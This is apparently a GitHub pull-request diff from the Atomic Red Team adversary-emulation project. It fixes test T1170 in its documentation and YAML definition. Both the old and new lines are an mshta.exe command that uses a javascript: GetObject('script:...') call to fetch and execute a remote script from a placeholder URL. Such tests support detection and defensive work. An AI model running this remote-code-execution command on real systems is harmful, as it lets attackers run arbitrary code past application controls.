Merge pull request #334 from redcanaryco/Fix-T1170
Fixed T1170 execution command
This commit is contained in:
@@ -46,6 +46,6 @@ Test execution of a remote script using mshta.exe
|
||||
|
||||
#### Run it with `command_prompt`!
|
||||
```
|
||||
mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close();
|
||||
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
|
||||
```
|
||||
<br/>
|
||||
|
||||
@@ -16,4 +16,5 @@ atomic_tests:
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: |
|
||||
mshta.exe javascript:a=GetObject("script:#{file_url}").Exec();close();
|
||||
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
|
||||
|
||||
|
||||
Reference in New Issue
Block a user